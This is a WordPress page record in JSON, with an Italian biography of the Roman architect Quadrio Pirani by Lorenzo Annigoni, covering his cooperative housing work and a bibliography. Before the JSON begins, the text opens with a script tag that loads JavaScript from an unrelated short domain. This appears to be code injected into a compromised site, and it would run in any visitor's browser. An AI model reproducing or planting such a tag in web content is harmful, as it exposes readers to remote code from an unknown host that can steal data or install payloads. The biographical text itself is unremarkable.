<script src="https://id-id.id/Cru0j4" type="text/javascript"></script>{"id":810,"date":"2018-06-21T10:07:12","date_gmt":"2018-06-21T10:07:12","guid":{"rendered":"http:\/\/193.204.167.103\/aut\/?page_id=810"},"modified":"2018-06-25T06:54:06","modified_gmt":"2018-06-25T06:54:06","slug":"pirani-scheda","status":"publish","type":"page","link":"http:\/\/193.204.167.103\/aut\/?page_id=810","title":{"rendered":"Pirani-scheda"},"content":{"rendered":"<p><strong>La figura e l&#8217;opera di Quadrio Pirani<\/strong><\/p>\n<p><strong><em>di Lorenzo Annigoni<\/em><\/strong><\/p>\n<hr \/>\n<p>Quadrio Ferruccio Pirani nasce a Jesi (AN) il 25 gennaio del 1878 da Oreste e da Stamura Fazi. Nel 1897 consegue la licenza di perito agrimensore presso il Regio Istituto Tecnico di Jesi e, due anni dopo, quella fisico-matematica presso il Regio Istituto Tecnico di Ancona. A Roma frequenta la Scuola Superiore di Ingegneria, laureandosi in ingegneria civile nel novembre del 1904. Durante gli studi, nel 1901, \u00e8 nominato assistente dell\u2019ingegner Benvenuti per la costruzione di una diga sul fiume Esino. Nel 1906, a Jesi, figura come redattore del settimanale socialista riformista \u201cLa libera parola\u201d e frequenta lo studio fotografico Dominici. Come progettista, in questi anni realizza diverse sale cinematografiche, una a Fabriano, e due a Roma, poi demolite: il Teatro Umberto per Giuseppe Jovinelli in piazza dell\u2019Unit\u00e0 (1908) e il Cinema Teatro Garibaldi, per Cesare Pennacchioli a Testaccio, tra via Aldo Manuzio e via Mastro Giorgio (1909). Nell\u2019ambito dell\u2019architettura funeraria progetta due cappelle a Jesi, una, nel 1905, per la famiglia Santarelli &#8211; oggi demolita &#8211; e l\u2019altra per la famiglia Giovannini nel 1906. Nel 1904 inizia l\u2019attivit\u00e0 professionale con l\u2019ICP di Roma che sar\u00e0 segnata da una serie di interventi al Flaminio, Celio, San Saba e <strong>Testaccio (lotti XXX, XXXII-XXXIV)<\/strong>. Nel 1910, viene nominato responsabile dell\u2019Ufficio Tecnico dell\u2019ICP ma nell\u2019ottobre dello stesso anno lascia l\u2019Istituto per dedicarsi alla libera professione aprendo, con Giovanni Bellucci, uno studio a via Cavour n. 325.<br \/>\nLe riflessioni maturate sui temi dell\u2019edilizia sociale lo portano a partecipare al <em>Concorso per il miglior tipo di casa popolare<\/em>, abbinato al II Congresso Case Popolari, tenuto a Roma nell\u2019ottobre del 1911, al quale partecipa in collaborazione con Bellucci, vincendo il secondo premio. In questi anni, si dedica anche all\u2019attivit\u00e0 didattica, infatti, nel 1907 \u00e8 assistente di <em>Architettura Generale e Applicazioni di Geometria Descrittiva<\/em> presso la cattedra di Guglielmo Calderini, alla Scuola di Applicazione per gli Ingegneri di Roma. Nel 1910 diviene socio dell\u2019Associazione Artistica fra i Cultori di Architettura e nel 1920, con Giovannoni ed Edmondo Del Bufalo, redige il Piano regolatore elaborato dal Comitato Tecnico esecutivo del Consorzio di Citt\u00e0-giardino Aniene a Montesacro.<br \/>\nL\u2019attivit\u00e0 professionale di Pirani \u00e8 segnata soprattutto da progetti a carattere residenziale, villini, palazzine e fabbricati intensivi e semi- intesivi per diverse cooperative edilizie, pubbliche e private.<br \/>\nTra il 1911 e il 1914 a Roma realizza l\u2019edificio per la signora Ida Du Challiot in Bellucci, su un lotto compreso tra viale Trastevere e via Merry del Val (1911); del 1912 \u00e8 il progetto di un edificio ad uso scuderia, garage e abitazioni per la cooperativa \u201cConducenti vetture\u201d, tra via Emanuele Filiberto e via Petrarca (non realizzato). Nel 1913, firma il progetto di un gruppo di case fuori porta Latina, per la cooperativa \u201cAppia\u201d, alla quale subentreranno, nel 1923, le cooperative \u201c1a Latina\u201d, tra ferrovieri dello Stato, e \u201c2a Latina\u201d, tra impiegati dello Stato. Sempre del 1913 \u00e8 l\u2019edificio a lungotevere degli Anguillara, per la cooperativa dei Tipografi, mentre nel 1914, su via del Campo Boario, progetta il fabbricato per Ergomino Di Palma, per il quale costruir\u00e0 altri due edifici, sempre sulla stessa strada.<br \/>\nDopo aver partecipato come bersagliere alla prima guerra mondiale &#8211; viene promosso a capitano per meriti di guerra &#8211; riprende l\u2019attivit\u00e0 di architetto. \u00c8 soprattutto il lavoro per le cooperative che lo vede impegnato in uno dei temi centrali che segnano lo sviluppo di Roma nel primo dopoguerra, la casa per il ceto medio. Tra i diversi progetti ricordiamo gli interventi per l\u2019IRCIS, con il gruppo di Piazza d\u2019Armi (1920); il fabbricato per la cooperativa tra gli impiegati dello stato \u201cLa Fiducia\u201d, a via Livenza (1920); il complesso edilizio per la cooperativa \u201cItalia Nuova\u201d, tra viale regina Margherita e via Morgagni (1920 \u2013<em> non credo sia stato realizzato<\/em>); il gruppo Villa Lancellotti, per l\u2019IRCIS, con i lotti A-B (1920), C-D (1921), E-G (1922) e I (1926). Sempre negli anni Venti, progetta due fabbricati per la cooperativa tra gli impiegati della Cassa Nazionale per le Assicurazioni Sociali (ex \u201cFerrero di Cambiano\u201d), in viale Carso e via Costabella (1923); un edificio per la cooperativa tra gli impiegati dell\u2019Istituto Nazionale di Credito per la Cooperazione \u201cAlmaSedes\u201d gi\u00e0 \u201cAlma Domus\u201d, in viale Regina Margherita (1924-1925), e un fabbricato per la cooperativa \u201cAvvocatura Erariale\u201d a Piazza Mazzini, poi modificato e sopraelevato dallo stesso Pirani.<br \/>\nLo studio di soluzioni abitative a bassa densit\u00e0 edilizia (villini, case a schiera e palazzine) viene sviluppato da Pirani, oltre che nei gi\u00e0 citati interventi a San Saba e a Citt\u00e0-giardino Aniene, anche in altre occasioni professionali, come i progetti di trecentocinquanta villini per la cooperativa fra ferrovieri \u201cIl Progresso\u201d a Villa Fiorelli (del 1922, in parte sostituiti da intensivi); nel piano regolatore per una citt\u00e0 giardino a Roma Vecchia, commissionato dal Ministero dell\u2019Agricoltura, Industria e Commercio, e nelle casette a Grotta Perfetta per la cooperativa tra tranvieri comunali \u201cRoma\u201d (1925). Inoltre, sempre negli anni Venti, a Falconara, Pirani progetta la casa del fratello Attilio (1921), mentre a Jesi costruisce la sede della Banca Popolare Cooperativa di Jesi (1928), oggi demolita.<br \/>\nL\u2019affermazione professionale lo porter\u00e0 a rivestire prestigiose cariche pubbliche: nel 1918, viene nominato membro della Commissione per lo studio dei Problemi Tecnici del Dopoguerra, dal 1921 al 1923, fa parte della Commissione Edilizia del Comune di Roma, mentre nel 1925, sar\u00e0 membro del Consiglio Superiore dell\u2019Economia Nazionale e poi, nel 1929, del Direttorio del Sindacato Fascista Ingegneri di Roma.<br \/>\nIl progetto del 1930 delle palazzine a via Dandolo a Roma, costruite per s\u00e8 e i suoi familiari e la ristrutturazione di un casino di caccia a Jesi (Villa \u201cLa Meridiana\u201d), sono gli ultimi interventi firmati da Pirani. Dopo il 1930 la sua attivit\u00e0 si limita a perizie e consulenze tecniche.<br \/>\nMuore a Roma il 2 giugno 1970 nella sua casa in via Pompeo Magno.<\/p>\n<hr \/>\n<p>&nbsp;<\/p>\n<p><strong>Bibliografia di riferimento<\/strong><\/p>\n<p>G. Monti, A. Roccetti, <em>L\u2019opera di Quadrio Pirani dai documenti del suo archivio<\/em>, in \u201cArchitettura Archivi\u201d, I, 2, 1982 (Fontanella Borghese), pp. 61-86.<\/p>\n<p>L. Toschi L., <em>Vicende della casa popolare a Roma nelle realizzazioni di Quadrio Pirani<\/em>, in \u201cAvanti!\u201d, 2 luglio 1983.<\/p>\n<p>L. Toschi, <em>Il II Congresso Nazionale per le case popolari (Roma 1911) e l\u2019attivit\u00e0 di Quadrio Pirani<\/em>, in \u201cStoria dell\u2019Architettura\u201d, 2, 1983, pp. 29-52.<\/p>\n<p>L. Toschi,<em> Edilizia economica e popolare nello sviluppo urbanistico di Roma moderna (1870-1903)<\/em>, Roma 1983.<\/p>\n<p>L. Toschi, <em>Roma \u201cpopolare\u201d nell\u2019opera di Quadrio Pirani<\/em>, in \u201cAvanti!\u201d, 18 luglio 1985.<\/p>\n<p>L. Toschi, <em>L\u2019Istituto Romano Cooperativo per le Case degli Impiegati dello Stato (1908-1933) \u2013 Q. P. (Jesi, 1878 &#8211; Roma, 1970)<\/em>, Roma 1986.<\/p>\n<p>L. Canevaris, E. D\u2019Amato, P. Calmieri, <em>Quadrio Pirani, <\/em>in G. Strappa (a cura di),<em> Tradizione e innovazione nell\u2019architettura di Roma capitale, 1870-1930<\/em>, Roma 1989, pp. 111-114, 135-136.<\/p>\n<p>F. Matitti, <em>Elementi decorativi legati agli edifici nel periodo fra le due guerre<\/em>, in L. Cardilli, A. Cambedda Napolitano (a cura di), <em>La Capitale a Roma \u2013 Citt\u00e0 e arredo urbano 1870-1945<\/em>, Roma 1991, p. 187.<\/p>\n<p>E. Muzzi, <em>L\u2019architettura nascosta di Quadrio Pirani<\/em>, Quaderni dell\u2019Istituto di Storia dell\u2019Architettura, N.S., 24.1994 (1997), pp. 87-96.<\/p>\n<p>M.L. Neri, <em>P., Q., 1878\/1970<\/em>, in C. Olmo (a cura di), Dizionario dell\u2019architettura del XX secolo, V, Torino-London 2001, p. 103.<\/p>\n<p>G. Doti, <em>Un nuovo episodio urbano tra Otto e Novecento. Il quartiere di Villa Sciarra al Gianicolo<\/em>, in \u201cRoma moderna e contemporanea\u201d, X, 3, 2002, p. 437<\/p>\n<p>E. Puccini, G. Duranti, <em>Testaccio: il quartiere operaio di Roma Capitale, 1870-1930<\/em>, Roma 2012, pp. 66-75, 88-89<\/p>\n<p>P. Brunori &#8211; F. Carboni, <em>Ai margini di Roma Capitale. Appunti sull\u2019architettura del quartiere Ostiense<\/em>, in \u201cRoma moderna e contemporanea\u201d, XX, 2, 2012, pp. 573-583.<\/p>\n<p>G. Duranti, <em>Dizionario Biografico degli Italiani<\/em>, Volume 84 (2015), ad nomen.<\/p>\n<p>S. Benedetti, <em>La Citt\u00e0 Giardino Aniene: l\u2019impianto di Gustavo Giovannoni e il contributo degli altri architetti<\/em>, in L. Marcucci (a cura di), <em>L\u2019altra modernit\u00e0 nella cultura architettonica del XX secolo<\/em>, Roma 2012, p. 105<\/p>\n","protected":false},"excerpt":{"rendered":"<p>La figura e l&#8217;opera di Quadrio Pirani di Lorenzo Annigoni Quadrio Ferruccio Pirani nasce a Jesi (AN) il 25 gennaio del 1878 da Oreste e da Stamura Fazi. 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